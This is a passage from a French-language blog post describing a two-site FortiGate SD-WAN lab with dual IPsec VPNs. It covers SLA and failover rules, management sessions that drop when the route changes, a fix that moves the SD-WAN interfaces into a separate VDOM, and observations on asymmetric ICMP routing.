A noter qu’il faut (souvent) se méfier de l’affichage via le GUI, il pourrait ne pas être représentatif de ce que l’on veut. Il est préférable de vérifier le résultat via CLI :

Ensuite, un simple ping vers la Loopback du Fortigate distant nous confirme le lien utilisé :

Mon LAB de test

Parmi les différents tests réalisés, j’ai retenu ce LAB. C’est le cas le plus simple où on a 2 sites reliés ensemble par 2 liaisons :

Chaque site possède son propre accès Internet. Ces sites sont reliés entre aux par 2 VPN IPSec :

  • Un VPN établi via les liens « publics » ISP 1 et ISP 2 d’une latence de ~20ms
  • Un VPN établi via les liens « privés » 172.[1-2].10.0/30 d’une latence de ~1ms

La configuration des Fortigate est symétrique au niveau des règles de firewall et SLA de telle sorte que chacun des sites puisse joindre le second et accéder à Internet:

  • 3 interfaces (VPN x2 + Interface WAN) dans le SD-WAN, avec comme route par défaut, la liaison SD-WAN justement
  • 2 règles SLA pour gérer la performance :
    • L’une vers Internet avec comme serveur cible le DNS Google 8.8.8.8 comprenant les 2 interfaces WAN (pas très utile car nous avons qu’un seul lien Internet mais c’est pour la forme)
    • Et la seconde vers la loopback du site distant, comprenant les 2 VPN IPSec
  • 2 règles SD-WAN de type « Minimum Quality » :
    • L’une pour l’accès Internet, comprenant nos interfaces WAN, utilisant notre première règle SLA
    • La seconde pour atteindre le PC distant, comprenant nos VPN, utilisant notre seconde règle SLA

Pour la seconde règle SD-WAN j’ai volontairement mis en premier le lien public avec une latence 25ms car je voulais observer le comportement des Fortigate lors du basculement des liens. Il suffisait de « secouer » le lien Internet pendant quelques secondes pour forcer la bascule sur le lien privé, j’utilisais pour cela le site de Netflix qui mesure la bande passante : https://fast.com/fr/

Pour permettre l’établissement du VPN sur le lien privé, j’ai du ajouter une route statique de part et d’autre afin de pouvoir atteindre chacun des subnets. Par exemple sur le site 1 :

La route par défaut de chacun des laptop est le Fortigate auquel il est relié.

Dernier détail qui aura son importance dans le point suivant, je n’utilise que le VDOM « root ».

Problèmes rencontrés et solutions

Déconnexion SSH et timeout HTTP(S)

Durant mes tests je perdais régulièrement la connexion vers le Fortigate distant. Par exemple, depuis le laptop 172.16.10.100 je me connectais sur la loopback du Fortigate du site 1 (10.66.255.1) et je perdais la connexion d’un coup. De même que la connexion HTTPS sur le Fortigate figeait puis revenait. J’ai ensuite essayé sur l’interface d’interconnexion du Fortigate (172.1.10.1), même chose, ainsi que sur l’interface publique.

Par contre, je ne perdais pas les connexions entre les 2 laptops. J’étais par exemple connecté via Remote Desktop (RDP) sur le laptop du site 1 (192.168.1.100), toujours depuis l’autre laptop et je ne constatais aucune déconnexion ou timeout…

Je me suis en fait aperçu, qu’à chaque fois que l’un des Fortigate changeait la route pour atteindre le site distant, je perdais la connexion… j’ai fait le parallèle en lançant un ping en continue entre les 2 laptop, comme ici où l’on passe du lien public au lien privé :

N’ayant pas de solution à ce problème dans l’immédiat, j’ai contacté le support Fortinet. Le support m’indique qu’il s’agit tout simplement d’une sécurité, car une session établie par une interface (Ex. liaison « publique »), ne peut ensuite se retrouver sur une autre (Ex. liaison « privée »)…Et ce problème ne concerne que les connexions faites sur le Fortigate, cela ne concerne pas les autres flux qui le traversent.

Ok mais cela ne m’arrange pas ça ! En effet, j’administre des Fortigate un peu partout dans le monde, notamment en Afrique où nous utilisons différentes liaisons satellites qui sont sensibles au mauvais temps et dont les performances sont aléatoires (latence, jitter…). Je ne me vois pas en production avec ce genre de comportement…Et surtout ce phénomène se produit systématiquement dès que l’on modifie quelque chose au niveau des fonctionnalités SD-WAN…

Et bien-sur le support n’a pas de solution à cela ! Enfin si, il me propose :

  1. Demander à mon commercial de faire une demande de développement d’une fonction par Fortinet pour gérer ce cas
    1. Mais bien-sur…et la marmotte…
  2. De permettre le routage asymétrique (désactiver la fonction « asymmetric check routing »)
    1. super pour la sécurité, les règles de firewall ainsi que les fonctions UTM ne sont plus utilisées…on se retrouve juste avec un simple routeur

J’ai finalement trouvé une solution : mettre les interfaces SD-WAN dans un VDOM à part (Ex. SD-WAN) et laisser l’interface loopback dans le VDOM « root »

C’est tout bête, il suffit ensuite de créer un VDOM Link et d’ajouter une route statique, comme ici sur le Fortigate du site 1 :

VDOM « SD-WAN » :

VDOM « root » :

Pour finir, on crée les règles de firewall et le tour est joué :

VDOM « SD-WAN » :

VDOM « root » :

Comme cela, même si l’interface utilisée change (publique vs privée), le Fortigate utilisera toujours cette unique interconnexion des VDOM pour atteindre la loopback.

Routage asymétrique

On parle de routage asymétrique lorsqu’un paquet n’emprunte pas le même chemin à l’aller et au retour.

J’ai également pu constater ce phénomène avec un simple ping et traceroute entre les 2 laptops :

Dans le même temps j’ai comparé comment se comportait ma session RDP vers le laptop du site 2, 172.16.10.100 :

Là le routage est symétrique, cela me rassure « un peu » plus. En effet, seul le protocole ICMP semble concerné par ce phénomène (le commande tracert windows utilise ce protocole également). Au niveau TCP/UDP avec RDP, c’est à la source qu’est « décidé » sur quel lien la session doit transiter aller/retour, dans notre cas c’est le Fortigate du site 1 avec le lien « public ».

Si j’ai bien constaté que la session se baladait d’un lien à l’autre, à aucun moment je n’ai vu les 2 liens utilisés en même temps pour les connexions TCP/UDP RDP, contrairement à ICMP.

Ce qui me dérange par contre, c’est pour les outils de supervision. Et oui, on utilise souvent le ping pour surveiller qu’un host distant est Up et surveiller la latence. Du coup, avec ce type de comportement le résultat risque d’être biaisé.

Rien de grave mais il faut avoir cela en tête. Et puis je pousse le vis en choisissant volontairement le lien le plus mauvais en premier avec des critères proches des limites du lien.

Et dernière chose, dans ce cas si il s’agit du même Fortigate qui a déjà connaissance d’une session dans sa table. Le routage asymétrique se produit surtout lorsque deux firewall distincts sont traversés, et le flux se trouve bloqué par sécurité.